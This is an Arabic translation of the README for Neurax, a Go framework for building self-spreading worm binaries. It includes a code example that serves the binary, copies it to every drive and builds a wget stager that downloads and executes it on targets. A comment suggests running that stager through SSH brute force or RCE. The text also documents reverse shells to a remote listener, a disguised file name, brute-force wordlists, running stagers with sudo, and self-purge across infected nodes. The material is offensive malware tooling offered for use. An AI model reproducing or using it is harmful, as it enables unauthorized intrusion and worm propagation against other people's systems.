
إطار عمل لبناء البرامج الثنائية ذاتية الانتشار
إطار عمل يساعد في إنشاء برامج ذاتية الانتشار
بمساعدة Neurax، يمكن للبرامج الثنائية (binaries) المكتوبة بلغة Go أن تنتشر على الشبكات المحلية والواسعة دون الحاجة إلى خوادم خارجية.
تتيح خيارات التهيئة المتنوعة ومُرتِّلات الأوامر (Stagers) الانتشار السريع عبر بيئات لاسلكية مختلفة.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Specify serving port and stager to use
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Start a server that exposes the current binary in the background
go NeuraxServer()
//Copy current binary to all logical drives
NeuraxDisks()
//Create a command stager that should be launched on target machine
//It will download, decode and execute the binary
cmd_stager := NeuraxStager()
/* Now you have to somehow execute the command generated above.
You can use SSH bruteforce, some RCE or whatever else you want ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck لتعطيل التحقق مما إذا كان المضيف مصاباً بالفعل.NeuraxServer().httrack جديد لنظام LinuxN.StagerRemovalDelay).FastScan الذي يجعل عمليات المسح النشط أسرع قليلاًNeuraxScan() تقبل دالة رد اتصال بدلاً من قناة كوسيط.NeuraxScan() تفحص في حلقة لا نهائية مع إمكانية تعيين فاصل زمني بين كل فحص للشبكة الفرعية أو مجموعة الأهدافNeuraxConfig. هو N. (لأنه أقصر في الكتابة)wget + curl).WordlistExpand)تتيح الدالة NeuraxScan(func(string)) اكتشاف المضيفين النشطين على الشبكة المحلية.
الوسيط الوحيد لها هو دالة رد اتصال تُستدعى في الخلفية لكل مضيف نشط.
يُعتبر المضيف نشطاً عندما يكون لديه منفذ واحد مفتوح على الأقل، وغير مصاب بالفعل، ويستوفي الشروط المحددة داخل N.
تعمل NeuraxScan() كحلقة لا نهائية – فهي تفحص الشبكة الفرعية بأكملها المحددة بواسطة إدخال .Cidr، وعند فحص كل مضيف، تنام الدالة لفاصل زمني محدد في .ScanInterval.
لا يحتاج الملف الثنائي Neurax إلى نسخ نفسه باستخدام الوسائل اللاسلكية.
تنسخ الدالة NeuraxDisks() الملف الثنائي الحالي (تحت اسم غير مريب) إلى جميع الأقراص المنطقية التي تم العثور عليها.
لا يتم تنفيذ الملف الثنائي المنسوخ، بل يبقى في وجهته في انتظار التشغيل.
تُعيد NeuraxDisks() خطأ error إذا تعذر الحصول على قائمة الأقراص أو كان النسخ إلى أي وجهة مستحيلاً.
دالة أخرى، NeuraxZIP(num_files int) err، تسمح بإنشاء أرشيف .zip ذو اسم عشوائي يحتوي على الملف الثنائي الحالي.
يُحفظ الأرشيف في الدليل الحالي، ويحتوي على ملفات عشوائية يصل عددها إلى num_files.
تقوم NeuraxZIPSelf() ببساطة بضغط الملف الثنائي الحالي، مما ينشئ أرشيفاً يحمل نفس الاسم.
يمكن إنشاء صدفة عكسية تفاعلية باستخدام NeuraxReverse().
ستستقبل الأوامر من اسم المضيف المحدد داخل .ReverseListener بالصيغة "<host>:<port>".
يتم تعريف البروتوكول المستخدم تحت .ReverseProto
إذا تم تشغيل NeuraxOpenComm() قبل استدعاء هذه الدالة، سيتصرف كل أمر كما هو موصوف في القسم أعلاه.
إذا لم يكن الأمر كذلك، سيتم تنفيذ الأوامر محلياً.
ملاحظة: يجب تشغيل هذه الدالة أيضاً كمهمة مصغرة (goroutine) لمنع الحظر الناتج عن الحلقة اللانهائية المستخدمة للاستقبال.
عندما تتلقى عقدة الأمر "purge"، تقوم بإعادة إرسال هذا الأمر إلى جميع العقد الأخرى، وتزيل نفسها من المضيف وتخرج.
يمكن بدء هذا السلوك أيضاً باستخدام NeuraxPurge() المُنفَّذة في مكان ما في المصدر.
إذا كان ناقل الانتشار الذي اخترته يعتمد على نوع من القوة الغاشمة، فمن الجيد أن يكون لديك قائمة كلمات مناسبة مُعدة.
تخزين الكلمات في ملف نصي على جانب العميل ليس فعالاً حقاً، لذا يمكنك تحوير قائمة كلمات أساسية باستخدام NeuraxWordlist(...words) []string.
لتبديل مجموعة من الكلمات المُعطاة، استخدم NeuraxWordlistPermute(..words) []string.
إذا كنت تريد أن يقوم الملف الثنائي بإزالة نفسه بعد وقت معين، استخدم NeuraxSetTTL() في بداية الكود الخاص بك.
يجب تشغيل هذه الدالة كمهمة مصغرة (goroutine).
على سبيل المثال:
go NeuraxSetTTL("2m")
سيؤدي إلى تشغيل NeuraxPurgeSelf() بعد دقيقتين من التنفيذ الأولي.
إذا كنت ترغب في ربط جميع المُرتِّلات المتاحة لمنصة معينة، فاضبط .Stager على "chain".
إذا كنت بحاجة إلى نسخ الملف الثنائي بعد التنفيذ الأولي، استخدم NeuraxMigrate(path string).
سيقوم بنسخ الملف الثنائي تحت المسار path، وإزالة الملف الثنائي الحالي، وتنفيذ الملف المُهاجَر حديثاً.
إذا أعجبك هذا المشروع وتريد رؤيته ينمو، يرجى التفكير في التبرع الصغير :>
هذا البرنامج مرخص بموجب MIT license
| الاسم | الوصف | القيمة الافتراضية |
|---|
| Nrx.Config.Stager | اسم مُرتِّل الأوامر المستخدم | random, platform-compatible |
| Nrx.Config.StagerSudo | إذا كان صحيحاً، يتم تنفيذ مُرتِّلات أوامر Linux بصلاحيات مرتفعة | false |
| Nrx.Config.StagerRetry | عدد مرات إعادة تنفيذ مُرتِّل الأوامر | 0 |
| Nrx.Config.StagerRemoveDelay | يتم تطبيق تعليمة تأخير قبل إزالة الملف الثنائي المُنزَّل | true |
| Nrx.Config.Port | المنفذ المستخدم للخدمة | 6741 |
| Nrx.Config.Platform | المنصة المستهدفة | يتم اكتشافها تلقائياً |
| Nrx.Config.Path | المسار الذي يُحفظ فيه الملف الثنائي على المضيف | . |
| Nrx.Config.FileName | الاسم الذي يُخدم به الملف الثنائي المُنزَّل ثم يُحفظ | random |
| Nrx.Config.Base64 | ترميز الملف الثنائي المنقول بصيغة base64 | false |
| Nrx.Config.CommPort | المنفذ الذي تستخدمه الملفات الثنائية للتواصل فيما بينها | 7777 |
| Nrx.Config.CommProto | بروتوكول الاتصال بين العقد | "udp" |
| Nrx.Config.ReverseListener | يحتوي على "<host>:<port>" لمعالج الصدفة العكسية عن بُعد | غير محدد |
| Nrx.Config.ReverseProto | البروتوكول المستخدم للاتصال العكسي | "udp" |
| Nrx.Config.ScanRequiredPort | تعتبر NeuraxScan() المضيف نشطاً فقط عندما يكون لديه منفذ معين مفتوح | none |
| Nrx.Config.ScanPassive | تكتشف NeuraxScan() المضيفين باستخدام مراقبة حركة ARP السلبية | false |
| Nrx.Config.ScanPassiveTimeout | تراقب NeuraxScan() طبقة ARP بهذا العدد من الثواني | 50 seconds |
| Nrx.Config.ScanPassiveIface | الواجهة المستخدمة عند المسح السلبي | default |
| Nrx.Config.ScanActiveTimeout | تعيّن NeuraxScan() هذه القيمة كمهلة للمنفذ الممسوح ضوئياً في كل خيط | 2 seconds |
| Nrx.Config.ScanPassiveAll | تلتقط NeuraxScan() الحزم على جميع الأجهزة المُكتشفة | false |
| Nrx.Config.ScanPassiveNoArp | لا يقوم المسح السلبي بتعيين فلتر التقاط ARP صارم | false |
| Nrx.Config.ScanFirst | شريحة تحتوي على عناوين IP يتم فحصها أولاً | []string{} |
| Nrx.Config.ScanFirstOnly | تقوم NeuraxScan() بفحص المضيفين المحددين فقط داخل .ScanFirst | false |
| Nrx.Config.ScanArpCache | تقوم NeuraxScan() بفحص المضيفين الموجودين في ذاكرة التخزين المؤقت لـ ARP أولاً. يعمل فقط مع المسح النشط | false |
| Nrx.Config.ScanCidr | تقوم NeuraxScan() بفحص هذا النطاق CIDR | local IP + "\24" |
| Nrx.Config.ScanActiveThreads | عدد الخيوط المستخدمة في NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | تقوم NeuraxScan() بفحص جميع منافذ المضيف المستهدف لتحديد ما إذا كان نشطاً | from 19 to 300 |
| Nrx.Config.ScanInterval | الفاصل الزمني للنوم قبل فحص الشبكة الفرعية بأكملها مرة أخرى | "2m" |
| Nrx.Config.ScanHostInterval | الفاصل الزمني للنوم قبل فحص المضيف التالي في الوضع النشط | "none" |
| Nrx.Config.ScanGatewayFirst | يتم فحص البوابة أولاً عند استخدام المسح النشط | false |
| Nrx.Config.Verbose | إذا كان صحيحاً، تتم طباعة جميع رسائل الخطأ إلى STDOUT | false |
| Nrx.Config.Remove | عند حدوث أي أخطاء، يقوم الملف الثنائي بإزالة نفسه من المضيف | false |
| Nrx.Config.PreventReexec | إذا كان صحيحاً، عندما يطابق أي أمر تلك الأوامر التي تم استلامها مسبقاً، لا يتم تنفيذه | true |
| Nrx.Config.WordlistExpand | تقوم NeuraxWordlist() بإجراء تحويلات غير قياسية على كلمات الإدخال | false |
| Nrx.Config.WordlistCommon | إضافة 20 كلمة مرور الأكثر شيوعاً إلى قائمة الكلمات | false |
| Nrx.Config.WordlistCommonNum | عدد كلمات المرور الشائعة المراد استخدامها | all |
| Nrx.Config.WordlistCommonCountries | خريطة map[string]int تحتوي على رموز الدول وعدد كلمات المرور المراد استخدامها | map[string]int |
| Nrx.Config.WordlistMutators | المحولات المراد استخدامها عند تحديد .WordlistExpand | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | أقصى طول للتبديل الناتج عن NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | حرف فاصل لاستخدامه في التبديلات | "-" |
| Nrx.Config.WordlistShuffle | خلط قائمة الكلمات المُنشأة قبل إرجاعها | false |
| Nrx.Config.AllocNum | يحدد هذا الإدخال عدد المرات التي يُخصص فيها NeuraxAlloc() ذاكرة عشوائية | 5 |
| Nrx.Config.Blacklist | شريحة تحتوي على عناوين IP المستثناة من أي نوع من أنواع المسح | []string{} |
| Nrx.Config.FastHTTP | يتم تنفيذ طلب HTTP في IsHostInfected() باستخدام مكتبة fasthttp | false |
| Nrx.Config.Debug | تمكين رسائل التصحيح | false |
| Nrx.Config.NoInfectCheck | تعطيل التحقق مما إذا كان المضيف مصاباً بالفعل | true |